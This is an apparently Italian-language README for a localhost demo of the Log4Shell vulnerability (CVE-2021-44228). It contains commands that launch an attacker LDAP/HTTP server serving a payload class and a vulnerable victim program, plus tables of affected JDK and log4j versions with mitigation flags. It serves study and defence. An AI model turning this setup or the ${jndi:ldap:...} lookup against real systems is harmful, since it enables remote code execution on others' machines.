sample-ldap-exploit

Una breve demo di CVE-2021-44228

Compilazione

$ mvn clean verify

Avvia Attacker

$ java \
  -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
  sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar

URL:

• http://localhost:8080/
• http://localhost:8080/sample/payload/Payload.class

Avvia Victim

$ java \
  -cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
  sample.victim.Victim

Risultati

JDK / JRE

Versione	Stato
Oracle JDK 8u5	vulnerabile
OpenJDK 8u312	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
IBM OpenJDK 8u312-b07 (OpenJ9)	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 11.0.7+10	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 11.0.13+8	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 16+36	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 17+35	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 17.0.1+12	NON vulnerabile (a meno che -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)

Se NON vulnerabile, un'istanza di javax.naming.Reference viene restituita da javax.naming.Context.lookup().

Se NON vulnerabile al caricamento di classi da codebase remoti, altre vulnerabilità di deserializzazione Java probabilmente esistono ancora!

log4j

Versione	Stato
2.9.1	vulnerabile
2.10.0	vulnerabile (a meno che -Dlog4j2.formatMsgNoLookups=true o variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true)
2.14.1	vulnerabile (a meno che -Dlog4j2.formatMsgNoLookups=true o variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true)
2.15.0	NON vulnerabile

Se NON vulnerabile, ${jndi:ldap:...} NON viene risolto.